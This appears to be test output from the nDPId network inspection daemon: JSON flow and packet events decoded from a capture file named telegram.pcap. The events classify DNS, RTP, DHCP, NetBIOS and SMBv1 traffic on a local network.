+00503{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":717584,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABca45AADYRq6BbbBABwKgBTQIPWoYASNRE3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe01LYX2gigqcAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00506{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":856441,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"KDc3AG3I8KNaMBgSCABFAABsRZ4AAEARsRHAqAE0wKgBTXr4WoYAWPxjToIQs5m5XoZB1qDehmfhJomQUeopOlZuJIIaL6qE8BgtmXQ6sqxHJAacGMTU5S5RgUjUPrOpUP\/aPObI3ORz5PRGJjnynufzdcsxdb\/ZTPY="} +00459{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779618,"pkt_ts_usec":349214,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"KDc3AG3I8KNaMBgSCABFAABMydIAAEARLP3AqAE0wKgBTXr4WoYAODsLYp5\/+zyBsvkbXdhL6ARsRe5epV49Ib962s33xAud4j+fNlcVTYsLIrX00azPg1oy"} +00484{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779618,"pkt_ts_usec":349489,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"8KNaMBgSKDc3AG3ICABFAABcuJYAAEARPinAqAFNwKgBNFqGevgASIwMGSklPzXEo+xeYy1+GF45Fj8LUGSCCu60WiiFqxLSO5M49NhltbcBCfe+3gJzPDxoeAqeJPaj79I+oze+Y3DSMA=="} +00458{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779618,"pkt_ts_usec":677132,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"8KNaMBgSKDc3AG3ICABFAABM2MgAAEARHgfAqAFNwKgBNFqGevgAOHVzLDN7SsFyWuK6F0tpc5OATWnzbEU7qCpTN1Xozj8qtDOuKYxZPvphz9N0EPmGit2J"} +00458{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779618,"pkt_ts_usec":677198,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl2KDc3AG3ICABFAABMg0kAAEAREJTAqAFNVwvNw1qG7TMAOE0OU2RiXNjy8sJRKs8KhnTyEy6Nhnt95vQlharNkBkXr2lvtMgl2dlHhYY4WvPjXQkp"} +00486{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779618,"pkt_ts_usec":681115,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3I8KNaMBgSCABFAABcQqkAAEARtBbAqAE0wKgBTXr4WoYASPszoQUCF9P7scTQPabFpgbA0VyPrQrjBdPkNrzYYnOrrtS8RRJbPFmnTpzV\/p+26\/mmrLK5EkJB2QBg75XmqKGTLA=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"telegram.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1588779619914,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":47127,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779619,"pkt_ts_usec":914905,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"EBMx8Tl2KDc3AG3ICABFAABHqTUAAEARTdLAqAFNwKgBAbgXADUAM25TALgBAAABAAAAAAAAA3d3dxFnb29nbGV0YWdzZXJ2aWNlcwNjb20AAAEAAQ=="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"telegram.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1588779619914,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":47127,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"www.googletagservices.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779619,"pkt_ts_usec":916408,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"KDc3AG3IAICPmq69CABFAABXwqhAAEAR9E7AqAEBwKgBTQA1uBcAQ5UvALiBgAABAAEAAAAAA3d3dxFnb29nbGV0YWdzZXJ2aWNlcwNjb20AAAEAAcAMAAEAAQAAAAAABMCoAZ0="} +00683{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":390,"source":"telegram.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_first_seen":1588779619914,"flow_last_seen":1588779619916,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":51,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":47127,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"www.googletagservices.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"192.168.1.157"}} +00657{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":362388,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"KDc3AG3I8KNaMBgSCABFAADcfG8AAEARedDAqAE0wKgBTXr4WoYAyKTrFri0AOIdoUF8HgC1gBiBR4WYAW+Y6ixI\/CimmbnvmNPc+7RWqRDiYYB5BtoNOZ+GYknJLF6vnmq\/vZVQVX\/qPiXfvr596tV5ihbzsQEUXujBr6CW5Jx7mLZKATUjQZG4pqkScDCtoGFYwLbXUskyWRSbrC6hy+uBu0qPmfd4SD\/7qckjnc8v4qbewk41c5gifJqMys+k7q5JK0Iwk8+BFQhZBUejZZ6XcaO0DUWhA3vqRiw7b6ii7Tnk1Hel1Nqd"} +00702{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":426617,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"KDc3AG3I8KNaMBgSCABFAAD8M2UAAEARwrrAqAE0wKgBTXr4WoYA6OlehgGD1Gs0b120gEqf\/nK6f5WdQYejVzOsfJQlZP1AA6F9i0G7vZx1n8e25\/f5Mg3Jxah8nNc1tpxpe\/hy5cvvXVKXhfzXSLG1Qs8LShdTAgKPSWKnJDG+WOm1vZmRgd1Fi6ndcEV4W69AKGJdSjWzqB2FMtgvLbL75OcZDujIR2L6+0iE7z9X0+MJRjiEmby2aw0x8v+3mcowSs8zThHH\/YXo85JS0WXttk3c7nWNkJTbpXRKOSjL6vZwlv27BEWBuawzbbdbMQbuJj7r8dESqiyUArN7hdiDWj\/hscj136s="} +00721{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":490069,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"KDc3AG3I8KNaMBgSCABFAAEMW60AAEARmmLAqAE0wKgBTXr4WoYA+BFfLsDgPR+aI0jSmDeUwtyB2xUsT4BFGGcaH00QmXPwbTrfpMgsc5AFbeWTFhj50GiOMhjqhcxWRVD1a5b3PE53mT8NyoSlP80Z9AfMMyDTBtzFX1Zb5T18rhJNznSbJwRwMxKMQJlFd7U7yyptA46tU7ICSikqYFU6C\/HoJbvjNUIdP7NxZQQ4THckr2o2NhcBPqHLYNfMbjACd5hNPNrUai5y9Yb27TnsHBAeqmUL\/EpdipPTlGxY65\/wQFQiP9mrcF8pvutmbHhwhtyfXetd+bmrGzGSy3SZ+qTszdMo+XnEKdOPdC9JaZjlpY3MCcQh"} +00703{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":554381,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"KDc3AG3I8KNaMBgSCABFAAD8VjwAAEARn+PAqAE0wKgBTXr4WoYA6PhNExkwSl2Pfa2L2V5HIhoB82Z+\/n+RtWmsJE0ZovpYvJaWUH5Wi\/8HX++L2m9amkSpE02x43ern6KiF9OaiRspZ5unFrhsZUfHaddWsfvGKuhXZJeOl+ZvZIfjsaIQoIgJvzKSbrap+0OSWgNwyhqGX8n330cqP4hHbMQDF4adwah3w8C5r4KEoXgOzoC84eX1dr1XNRV\/ic5gkkx+kRV4doJ1\/m1JAFCtQ2zpEqwUCvOCdDsITJkCH34EvZzbH9KN40jpBZ1N++lrLFE94J4l41tFcEAu\/c0JivVlkdAp4lk="} +00704{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":596689,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"KDc3AG3I8KNaMBgSCABFAAD8DugAAEAR5zfAqAE0wKgBTXr4WoYA6Hw+f5YAG5Tev5aNfoKjCPqJZQUVurtdk62nD\/1\/prtPCnst\/in3Kzbb4DWNn1SyoIDETKOP6ebVfXlEwRK1YTk6PvwbWSTQ5C4+DI2dpOkII8+LLKSej4JD7YJFht4uSSk5xxJG6J\/ZVVqpNDeAIhmxCAKq8ziJZj0z2LtQ4twYwe+4uO4wvhCyeS5eEuBf4OdWj5mKKgDGCEjZ9mor6f1F7vdit9jnrNRI\/GcWTUk9t2o0Q6I5BXQ8bkovVOPLjIPPTIHXc+uQTwqmV\/yji6aIJIHpVd8bjBy4TjP4LPX2LfU="} +00686{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":660632,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"KDc3AG3I8KNaMBgSCABFAADs4PwAAEARFTPAqAE0wKgBTXr4WoYA2GAFaJT7y9OwzkYFz+4\/fu32Clo96XsqaeX99ii0K5tZAhSCwV599PnV03D5aBnbESEyT0pxBbSbXxu1zi7zVChOt\/OPkZrZX9Acgevvz\/h2JRMGunbkyzfWVvxGUAcLdayGwXw\/jUpqNgzYt5rIGsOLMgpkX3huK2jFrPwAQhbcL3PnSKroJpcRGDgXwghqOpgOZvPODachR5oFQp6HXIvSw+6sC+SwKHN99AR3ETZZPzluj7hDvZBxA6h2\/7nf0KG+\/H3B01BAGZS0\/nLhyblW\/Q=="} +00638{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":675886,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"8KNaMBgSKDc3AG3ICABFAADMZvUAAEARj1rAqAFNwKgBNFqGevgAuJMYkbG\/KIwIwQnayLD0LMXcqEj4lfZ8P9V2iOgexzXB+FkyVtJQfJJnKJmRVHq7SYjBzTc81jea\/W4JIV63if0rV5VmSeagRTwkiWOdGd9o02IQOA+PZJoz0lbdO4rIb8YnZr2XoGAdftw\/Xvcd7TrER6tHinrYdVg4a727UMkOFw96i+NaQr+lRQwgZr4Zf8u+FORrz2a5CnGe4doPuGXE8geBfZgxu\/1NsVKk2aHZjlE="} +00661{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779620,"pkt_ts_usec":724400,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"KDc3AG3I8KNaMBgSCABFAADcPBYAAEARuinAqAE0wKgBTXr4WoYAyD7zXC3NU7wX1h\/h\/kWcJ8qpQmiUN4mhou4JHo77YBPu7\/VIjDsoEmtNSaKDnbUdu9rsQvahuCrdo6qM8+WBlFmUqWfA9spsOUDbGhwiOu\/lCsyDdexur637pbnJEdrQnE5HC5ssaS6AKLWy49YhWHXZpaKXSUEpzSC6ItBDxBR3fKHkGB5NVGyHr8\/h4eaV5mQuKkaNSXZCpy8wOZWWvDRFDXwW4QKX+b0Qm\/U5oaRB0uDYUq\/aULnstigk7puyQYRj"} +00782{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779621,"pkt_ts_usec":450773,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJpAAEARYHfAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAKhEc1gAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":501,"source":"telegram.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":97,"flow_first_seen":1588779617174,"flow_last_seen":1588779623177,"flow_tot_l4_data_len":19160,"flow_min_l4_data_len":56,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":197,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.52","src_port":23174,"dst_port":31480,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":597,"source":"telegram.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1588779625981,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00890{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779625,"pkt_ts_usec":981468,"pkt_caplen":397,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":397,"pkt_l4_len":363,"pkt":"\/\/\/\/\/\/\/\/AICPmq69CABFAAF\/jrEAAEAR6r0AAAAA\/\/\/\/\/wBEAEMBa16\/AQEGAN7JmyKFuQAAAAAAAAAAAAAAAAAAAAAAAACAj5quvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBPRP\/j5quvQABAAEfyzfOuCfrPQjbUAB0AQE5AgXcPC1kaGNwY2QtNi4xMC4xOkxpbnV4LTQuOS41Ny12Nys6YXJtdjdsOkJDTTI4MzUMDHBpMy5udG9wLm9yZ5EBATcPAXkhAwYMDxocKjM2Ojt3\/w=="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":597,"source":"telegram.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1588779625981,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":612,"source":"telegram.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1588779626393,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.43","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00675{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779626,"pkt_ts_usec":393710,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/BJImXJc1CABFAADlSCQAAIARbWnAqAErwKgB\/wCKAIoA0XdaEQLkXsCoASsAigC7AAAgRUVFRkZERUxGRUVQRkFDTkZDRUNERkZFREJEQ0VIQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQCA\/AoAREVTS1RPUC1SQjVUMTJHAAoAAxAAAA8BVaoA"} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":612,"source":"telegram.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1588779626393,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.43","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":613,"source":"telegram.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1588779626394,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779626,"pkt_ts_usec":394307,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABOW9EAAEARmjHAqAFNwKgB\/wCJAIkAOrFARg4BEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":613,"source":"telegram.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1588779626394,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00471{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779626,"pkt_ts_usec":394380,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABOiakAAEARbFnAqAFNwKgB\/wCJAIkAOrE9RhEBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00471{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779626,"pkt_ts_usec":394481,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABONx8AAEARvuPAqAFNwKgB\/wCJAIkAOrE5RhUBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":618,"source":"telegram.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1588779625981,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":618,"source":"telegram.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1588779626393,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.43","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00782{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779626,"pkt_ts_usec":467979,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJtAAEARYHbAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAOKuuvkAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":695,"source":"telegram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1588779628757,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49764,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779628,"pkt_ts_usec":757409,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA7n3IAAP8RmKDAqAFNwKgBAcJkADUAJ31bFnMBAAABAAAAAAAABGRhdGkEbnRvcANvcmcAAAEAAQ=="} 